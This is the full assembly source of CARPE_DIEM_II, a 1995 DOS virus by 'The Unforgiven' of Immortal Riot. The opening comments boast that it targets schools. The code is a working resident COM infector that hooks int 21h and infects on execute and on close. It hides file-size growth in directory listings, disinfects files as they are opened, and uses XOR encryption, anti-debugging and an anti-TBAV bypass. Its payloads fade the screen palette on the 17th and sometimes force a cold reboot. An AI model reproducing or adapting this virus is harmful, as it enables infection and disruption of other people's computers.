; This is some version of CARPE_DIEM_II.

; First of all - I would like to thank the following people for
; helping me out:

; Blonde        - Without your assistence, this virus would be no
;                 full stealth virus, hurray for you.
; Conzouler     - For general assistence concerning bug-eliminating.
; Stormbringer  - For writing code which make sense.
; Priest        - For the code-fragments included, hints, ideas,
;                 and happy comments!

; Anyhow, you've seen nearly seen this before. But it has (again)
; taken a new shape.

; I would like to point out that this version is under no circumstances
; destructive. It might bug sometime while spreading in weird invoroments,
; but since I run pure DOS myself - I havn't done a depth in study
; conserning how and when. Deal with it.

; The name is a bit confusing I think. I.e. I find the quation from
; Horatius (partly) wrong.

; The greek - swedish - english translation could read something like:

; "Seize the day and trust as less as possible on the future. . . "

; ... but since the future isn't tommorow, but now, I find it a
;     bit irritating. Ah well.

; Anyhow - it's an old simply com-infector, and since it infects
; com-files only - it won't spread very far. But since my favorite
; targets are schools and since my mission is to annoy them as
; much as possible (with payloads), I reckon it does its work good 
; enough. (Ask Billy The Kid's sysadm! :)).

; It isn't too visible since it will stealth file-size increases,
; and disinfect files opened. It has though some pretty visible
; payloads (black-to white color-fade all the time the 17.ten and
; it might print and reboot sometimes. . ).

; It includes encryption, soft-anti-debugging, anti-tb*, otherwise,
; it's pretty much your average virus.

; Further greetings goes out to all of VLAD and all of #virus :).

; Sincerly - The Unforgiven, Immortal Riot - National Malware Developemt, 1995.

.model tiny
.code
org 100h

vir_size equ end_of_virus-start_of_virus

start_of_virus:
vstart:

    jmp entry_point

install:

    mov ah,2ah                      ;get date
    int 21h
    cmp dl,17d                      ;day = 17?
    jne get                         ;naw!
    mov cs:[activate_flag],1        ;yeh!

get:
    mov ah,4ah                      ;Installation check for the runtime
    mov bx,0FFFFH                   ;part. (This is overkill)
    mov cx,0bebeh
    int 21h
    cmp ax,cx                       ;ax=cx=0bebe?
    jne not_res                     ;no!
    jmp already_resident

not_res:
    mov ah,4ah                      ;Use normal DOS-functions to 
    sub bx,(vir_size+15)/16+1       ;fix the TSR part.
    int 21h                         ;(c) DA/PS ??

    mov ah,48h                      ;allocate enough room for our code
    mov bx,(vir_size+15)/16
    int 21h

    dec ax                          ;ax-1 = MCB for allocated memory
    mov es,ax                       ;es=segment
    mov word ptr es:[1],8           ;Mark DOS as owner

    push cs                         ;cs=ds
    pop ds

    cld                             ;clear direction for string operations
    sub ax,0fh                      ;100h bytes from allocstart
    mov es,ax                       ;es:[100h] = start of allocated memory
    mov di,100h
    lea si,[bp+offset start_of_virus]
    mov cx,(vir_size+1)/2           ;copy entire virus to memory
    rep movsw                       
				    
    push es                         ;es=ds
    pop ds

    mov ax,3521h                    ;get interrupt vector from es:bx for
    int 21h                         ;int21h

tb_lup:
    cmp word ptr es:[bx],05ebh   ;check for short jump
    jne no_tbdriver
    cmp byte ptr es:[bx+2],0eah  ;and for far jump to next int handler
    jne no_tbdriver
    les bx,es:[bx+3]             ;if found TBdriver, get next int
    jmp tb_lup                   ;handler and use that as int 21 adr

no_tbdriver:

    mov word ptr ds:[Org21ofs],bx   ;save segment:offset for int21h
    mov word ptr ds:[Org21seg],es   ;in a word each

    cmp byte ptr cs:[activate_flag],1       
    jne skip_08_get                 ;not the 17:ten!

    mov al,08h
    int 21h
    mov word ptr ds:[org08ofs],bx
    mov word ptr ds:[org08seg],es

skip_08_get:

    mov al,09h                      ;get interrupt vector for int09h 
    int 21h                         ;as well as
    mov word ptr ds:[org09ofs],bx  
    mov word ptr ds:[org09seg],es

    mov dx, offset new_int21h       ;set new int.vector for 21h to ds:dx
    mov ax,2521h
    int 21h

    cmp byte ptr cs:[activate_flag],1       ;day = 17?
    jne skip_08_set                         ;no!

    mov dx, offset new_08h
    mov al,08h
    int 21h

skip_08_set:
    mov dx,offset new_09h                  ;09
    mov al,09h
    int 21h

already_resident:
tbdriver:
    mov di,100h                     ;transer back control to the infected
    push di                         ;host program.
    push cs                         ;make cs=ds=es
    push cs
    pop es
    pop ds
    lea si,[bp+orgjmp]              ;move orgjmp of 4 bytes to the
    movsw                           ;correct (100h) memory adress.
    movsw
exit:
     ret                            ;and exit!


;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;              This is the new int21h Handler
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
new_int21h:
    cmp ah,4ah                    ;ah=4ah?
    jne chk_exec                  ;no!
    cmp bx,0ffffh                 ;bx = -1?
    jne no_match                  ;no!
    cmp cx,0bebeh                 ;cx = 0bebeh?
    jne no_match                  ;no!
    mov ax,cx                     ;=> Installation check, move bebe into ax
    iret                          ;and return (ax=cx=0bebeh)

chk_exec:
    cmp ax,4b00h                   ;infect on execute
    je go_infect

chk_close:
    cmp ah,3eh                     ;infect on file-closes
    je go_close

    cmp ah,3dh                     ;normal file-open? - Disinfect
    je go_disinfect

chk_dir:
    cmp ah,11h                     ;stealth file size increase on
    je go_fcb_stealth              ;directory listenings using
    cmp ah,12h                     ;functions 11/12/4e/4fh
    je go_fcb_stealth

    cmp ah,4eh                     
    je go_handle_stealth           

    cmp ah,4fh
    je go_handle_stealth

no_match:
    jmp do_oldint21h              ;jmp org vector

go_infect:
    jmp infect

go_close:
    call setcritical
    jmp infect_close

go_disinfect:
    call setcritical
    jmp open_disinfect

go_fcb_stealth:
    jmp hide_dir

go_handle_stealth:
    jmp hide_dir2

dps db "CARPE_DIEM_II - FLOATING THROUGH THE VOID!",7,0 ;CC

;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;                  This is the new int08h Handler
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
new_08h:
    push ax                     ;Toy with the black-ground color!!
    push dx
    mov dx,03c8h
    xor al,al
    out dx,al
    inc dx
    mov al,[cs:bgcol]
    out dx,al
    out dx,al
    out dx,al
    inc [cs:bgcol]
    pop dx
    pop ax

do_old08h:
    db 0eah                         ;and jump to saved vector for int08h
    org08ofs dw ?
    org08seg dw ?


;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;                  This is the new int09h Handler
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
new_09h:
    push ax                         ;preserve register in use
    push ds

    xor ax,ax                       
    mov ds,ax                       ;ds=0

    in al,60h                       ;read key
    cmp al,53h                      ;delete?
    jnz no_ctrl_alt_del             ;no!

    test byte ptr ds:[0417h],0ch    ;test for alt-ctrl
    je no_ctrl_alt_del              ;no. . 
    
    in al,41h                       ;get random value 
    test al,11111b                  ;2^5 = 32
    jne no_ctrl_alt_del             ;value doesnt match!

    push cs                         ;cs=ds             
    pop ds

    mov ax,3                        ;set grafic mode (text)
    int 10h
	
    mov ah,2                        ;set cursor pos
    xor bh,bh
    mov dx,0A14h                    ;10,20d (middle)
    int 10h
	
    mov ah,1                        ;set cursor
    mov cx,2020h                    ;>nul
    int 10h      

    mov si,offset dps               ;point to v_name

all_chars:     
    loop all_chars
    lodsb                          ;load string by byte from dps
    or al,al                       ;end of string? (al=0)
    je cold_boot                   ;yes, make a cold boot
	
    mov ah,0Eh                     ;display character from string
    int 10h                        
	
    jmp short all_chars            ;put next char to string

cold_boot:
    db 0eah                         ;jmp far ptr
    db 00h, 00h, 0ffh, 0ffh         ;coldboot vector

no_ctrl_alt_del:
    pop ds                          ;restore registers
    pop ax

do_oldint09h:
    db 0eah                         ;and jump to saved vector for int09h
    org09ofs dw ?
    org09seg dw ?

;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;               This will fool directory listenings using FCBs
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hide_dir:                           ;FCB stealth routine
    pushf                           ;simulate a int call with pushf
    push cs                         ;and cs, ip on the stack
    call do_oldint21h
    or al,al                        ;was the dir call successfull??
    jnz skip_dir                    ;naw!

    push ax 
    push bx 
    push es                        

    mov ah,62h                      ;get active PSP to es:bx (51h as well)
    int 21h
    mov es,bx
    cmp bx,es:[16h]                 ;PSP belongs to dos?
    jnz bad_psp                     ;no, we don't want chkdsk fuck-up's!

    mov bx,dx
    mov al,[bx]                     ;al holds current drive - FFh means
    push ax                         ;extended FCB
    mov ah,2fh                      ;get DTA-area
    int 21h
    pop ax
    inc al                          ;is it an extended FCB
    jnz no_ext
    add bx,7                        ;if so add 7 to skip garbage
no_ext:
    mov al,byte ptr es:[bx+17h]     ;get seconds field
    and al,1fh
    xor al,1dh                      ;is the file infected??
    jnz no_stealth                  ;if not - don't hide size

    cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
    jbe no_stealth                      ;as an infected is smaller -
    sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
no_stealth:                                 
bad_psp:
    pop es 
    pop bx 
    pop ax                          
skip_dir:
    iret

;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;             This will fool directory listenings using File Handles
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hide_dir2:

    pushf                                        
    push cs                         
    call do_oldint21h

    jc no_files                 

    pushf
    push ax                              
    push di
    push es 
    push bx                 

    mov ah,2fh                          ;Get DTA-area
    int 21h

    mov di,bx
    add di,1eh
    cld
    mov cx,9                            ;scan for the dot which
    mov al,'.'                          ;extension
    repne scasb                         ;
    jne not_inf

    cmp word ptr es:[di],'OC'            ;CO?
    jne not_inf                          ;yeh!

    cmp byte ptr es:[di+2],'M'           ;COM?
    jne not_inf                          ;yeh! 

    mov ax,es:[bx+16h]                      ;ask file time
    and al,1fh
    xor al,1dh                              ;is the file infected??
    jnz not_inf                  

    cmp word ptr es:[bx+1ah],vir_size      ;dont stealth too small
    ja  hide                               ;files

    cmp word ptr es:[bx+1ch],0              ;or too damn big files
    je  not_inf

hide:  
    sub es:[bx+1ah],vir_size-3              ;<- no, its not a SUB-routine! :)

not_inf:
    pop bx
    pop es
    pop di
    pop ax
    popf

no_files:
    retf 2                                  ;return and pop 2 of stack

infect_close:
    push es                                 
    push bp 
    push ax 
    push bx 
    push cx 
    push si 
    push di 
    push ds 
    push dx
    cmp bx,4                        ;don't close null, aux and so
    jbe no_close

    call check_name                 ;es:di points to file name
    add di,8                        ;es:di points to extension
    cmp word ptr es:[di],'OC'
    jne no_close
    cmp byte ptr es:[di+2],'M'      ;if COM infect it!
    je close_infection

no_close:
    pop dx                          ;No comfile!
    pop ds 
    pop di 
    pop si 
    pop cx 
    pop bx 
    pop ax 
    pop bp 
    pop es

    jmp do_oldint21h

close_infection:
    mov byte ptr es:[di-26h],2      ;mark read & write access
    mov cs:Closeflag,1              ;raise closeflag for exit procedure

    mov ax,4200h                    ;rewind file
    xor cx,cx
    cwd
    int 21h

    jmp short infect_on_close       ;infect it
check_name:
    push bx
    mov ax,1220h                    ;get job file table for handle at es:di
    int 2fh

    mov ax,1216h                    ;get system file table
    mov bl,byte ptr es:[di]         ;for handle index in bx
    int 2fh
    pop bx
    add di,20h                      ;es:di+20h points to file name
    ret                             ;return

infect:                             
    push es 
    push bp 
    push ax 
    push bx 
    push cx 
    push si 
    push di 
    push ds 
    push dx 

    call setcritical

    mov cs:Closeflag,0              ;make sure closeflag is off
    mov ax,4300h                    ;get attrib
    int 21h
    push cx                         ;save attrib onto the stack
    mov ax,4301h                    ;clear attrib
    xor cx,cx
    int 21h

    mov ax,3d02h                    ;open file
    pushf                           
    push cs                        
    call do_oldint21h              

    xchg ax,bx                      ;bx = file handle

infect_on_close:                    ;entry for infection on 3eh

    push cs                         ;cs=ds
    pop ds

    mov ax,5700h                    ;get time/date
    int 21h
    push cx                         ;save time/date onto the stack
    push dx

    mov ah,3fh                      ;read three bytes to orgjmp
    mov cx,4
    mov dx,offset ds:orgjmp
    int 21h

    cmp word ptr ds:orgjmp,'ZM'     ;check if .EXE file
    je exe_file
    cmp word ptr ds:orgjmp,'MZ'
    je exe_file                     ;if so - don't infect

;   cmp byte ptr ds:orgjmp+1,'m'    ;dont infect command.com
;   je skip_infect                  ;beta versions ONLY!

    cmp byte ptr ds:orgjmp+3,''    ;dont reinfect files!
    jne lseek_eof
    jmp short skip_infect

exe_file:
    mov cs:exeflag,1                ;mark file as EXE-file, and
    jmp short skip_infect           ;don't set second value for it!

lseek_eof:
    mov ax,4202h                    ;go end of file, offset in dx:cx
    xor cx,cx                       ;and return file size in dx:ax.
    xor dx,dx
    int 21h

    cmp ax,(0FFFFH-Vir_size)        ;file is too big?
    jae skip_infect                 ;yeh
    cmp ax,(vir_size-100h)          ;file is too small?
    jb skip_infect                  ;yeh

    add ax,offset entry_point-106h  ;calculate entry offset to jmp
    mov word ptr ds:newjmp[1],ax    ;move it to newjmp

get_rnd:
    mov ah,2ch                      ;get random number and put enc_val
    int 21h
    or dl,dl                        ;dl=0 - get another value!
    je get_rnd
    mov word ptr ds:enc_val,dx
    mov ax,08d00h                   ;copy entire virus to 8d00h:100h
    mov es,ax
    mov di,100h
    mov si,di
    mov cx,(vir_size+1)/2
    rep movsw
    push es
    pop ds
    xor bp,bp                       ;and encrypt it there
    call encrypt

    mov ah,40h                      ;write virus to file from position
    mov cx,end_of_virus-install     ;08d00h:100h
    mov dx,offset install
    int 21h

    push cs                         ;cs=ds
    pop ds

    mov ax,4200h                    ;go to beginning of file
    xor cx,cx
    cwd
    int 21h

    mov ah,40h                      ;and write a new-jmp-construct
    mov cx,4                        ;of 4 bytes (4byte=infection marker)
    mov dx,offset newjmp
    int 21h

skip_infect:
    mov ax,5701h                    ;restore
    pop dx                          ;date
    pop cx                          ;time
    cmp byte ptr cs:[exeflag],1     ;exe file?
    je skip_sec                     ;if so - keep the sec_value intact
    or cl,00011101b                 ;and give com-files second value
    and cl,11111101b                ;29
skip_sec:
    int 21h
    cmp byte ptr cs:[Closeflag],1   ;check if execute or close infeection,
    je dont_close                   ;if infect on close, dont close file

close_file:
    mov ah,3eh                      ;close the file which were executed
    int 21h
    pop cx                          ;get original file-attribs
dont_close:
    pop dx                          ;ds:dx = filename
    pop ds
    cmp byte ptr cs:[Closeflag],1
    je exit_close
    mov ax,4301h                    ;set back saved attribute
    int 21h

exit_close:
    mov byte ptr cs:closeflag,0
    call resetcritical
    pop di 
    pop si 
    pop cx 
    pop bx 
    pop ax 
    pop bp 
    pop es          

do_oldint21h:                       
O21h:
    db 0eah                         ;jmp far ptr            
    org21ofs dw ?                   ;s:o to
    org21seg dw ?                   ;int21h

    ret                             ;call to DOS. . . return!

vir  db "SVW: The Unforgiven/Immortal Riot",0
fcl  db "Fuck Corporate Life!",0    ;I agree you SB!

closeflag     db 0                          ;0 if exec 1 if close
exeflag       db 0
activate_flag db 0
bgcol         db 0
newjmp        db 0e9h,00h,00h,''       ;buffer to calculate a new entry

;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;           Cheesy primitive disinfecting-on-the-fly routine
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
open_disinfect:                     ;ds:dx=filename...
     push ax 
     push bx 
     push cx 
     push dx 
     push di 
     push si 
     push ds 
     push es                             ;save all regs/segs...

     push ds
     pop es                              ;ds=es

     mov cx,64                           ;scan for the dot which
     mov di,dx                           ;seperates filename from
     mov al,'.'                          ;extension
     cld                                 ;clear direction
     repne scasb                         ;

     cmp word ptr ds:[di],'OC'           ;CO?
     je smallc                           ;yeh!
     cmp word ptr ds:[di],'oc'           ;co?
     jne nocom                           ;naw!

smallc:
     cmp byte ptr ds:[di+2],'M'          ;COM?
     je open_com                         ;yeh! 
     cmp byte ptr ds:[di+2],'m'          ;com?
     je open_com                         ;yeh!

nocom:
     jmp no_opendis                      ;no com-file being opened!

open_com:
     mov ax,3d02h                        ;open file with r/w access
     pushf
     push cs
     call o21h

     xchg bx,ax                          ;put filehandle in BX

     push cs                             ;cs=ds=es
     pop ds
     push ds
     pop es

     mov ax,5700h                       ;get file info
     int 21h
     push cx                            ;save time
     push dx                            ;and date

     and cl,1fh                         ;see if seconds = 29
     xor cl,1dh
     jne close_dis                      ;is not!

     mov ah,3fh                         ;read first four bytes
     mov cx,4                           ;to orgjmp
     mov dx,offset ds:orgjmp
     int 21h                           

     cmp byte ptr ds:orgjmp,0e9h        ;first byte = jmp?
     jne close_dis                      ;no!

     cmp byte ptr ds:orgjmp+3,''       ;infected?
     jne close_dis                      ;naw!

     mov ax,4202h                        ;seek end of file
     cwd
     xor cx,cx
     int 21h

     mov dx,ax                           ;dx=ax=file size
     sub ax,(vend-install+3)             ;substract orgjmp
 
     push dx                             ;save file size on stack
     xor ax,ax                           ;zero AX

     sub dx,(vend-orgjmp)                ;seek orgjmp location
     xor cx,cx                           ;in the infected file
     mov ah,42h
     int 21h

     mov ah,3fh                          ;read the original jump
     mov cx,4                            ;to orgjmp in memory
     mov dx,offset ds:orgjmp
     int 21h                              

     xor ax,ax                           ;zero AX

     cwd                                 ;seek beginning of file
     xor cx,cx
     mov ah,42h
     int 21h

     mov ah,40h                          ;write the original saved jmp
     mov dx,offset orgjmp                ;to top of file
     mov cx,4
     int 21h

     pop dx                              ;restore infected file size

     sub dx,(vend-install)               ;seek file-size - vir_size
     xor ax,ax
     xor cx,cx                                   
     mov ah,42h                                  
     int 21h

     mov ah,40h
     xor cx,cx                           ;write clean file
     int 21h                             

close_dis:
     mov ax,5701h                        ;restore saved
     pop dx                              ;date
     pop cx                              ;and time
     int 21h                             

     mov ah,3eh                          ;close the file
     pushf
     push cs
     call o21h                        

no_opendis:                             
     pop es 
     pop ds 
     pop si 
     pop di 
     pop dx 
     pop cx 
     pop bx 
     pop ax                             ;restore all segments/registers

bail_out:     
     jmp o21h                           ;and bail out!


; The Set/Restore critical error handler is written by Stormbringer
; of Phalcon/Skism. I borrowed it because I find it excellent
; coded. I call the routines a lot of times, so. . . credits to him.

SetCritical:
     push ax ds
     mov ax,9
     mov ds,ax
     push word ptr ds:[0]
     push word ptr ds:[2]
     pop word ptr cs:[OldCritical+2]
     pop word ptr cs:[OldCritical]
     mov word ptr ds:[0],offset CriticalError
     push cs
     pop word ptr ds:[02]
     pop ds ax
     ret
	
ResetCritical:
     push ax ds
     push word ptr cs:[OldCritical]
     mov ax,9
     push word ptr cs:[OldCritical+2]
     mov ds,ax
     pop word ptr ds:[2]
     pop word ptr ds:[0]
     pop ds ax
     ret

CriticalError:
     mov al,0
     iret

OldCritical     dd      0

; ---------------------------------------------------------
; All code below this point is unencrypted - only adresses
; caluculated from the base pointer will vary. Instructions
; are the same.
; ---------------------------------------------------------
decrypt:
encrypt:
    mov ax,word ptr ds:[bp+enc_val]         ;enc value in ax
    lea di,[bp+install]                     ;pointer to encryption start
    mov cx,(encrypt-install)/2              ;number of words to be encrypted
xor_loopy:
    xor word ptr ds:[di],ax                 
    inc di                                  
    inc di
    loop xor_loopy
    ret
enc_val dw 0

entry_point:
   mov sp,102h                            ;Alternative coding
   call get_bp                            ;to get the delta offset
					  ;Raver(tm)
get_bp:
    mov bp,word ptr ds:[100h]
    mov sp,0fffeh
    sub bp,offset get_bp

    mov si, offset ditch                   ;This routine will make
    add si,bp                              ;single-stepping programs
;   db 0ebh,0                              ;stop.
    mov byte ptr ds:[si],0c3h              
    ditch:                                  
    mov byte ptr ds:[si],0c6h

    call decrypt                            ;decrypt virus
    jmp install                             ;jmp to install code

orgjmp    db 0cdh,20h,00,00         ;buffer to save the 4 first bytes in,
				    ;remains unecrypted due to disinfection.
end_of_virus:
vend:

    end start_of_virus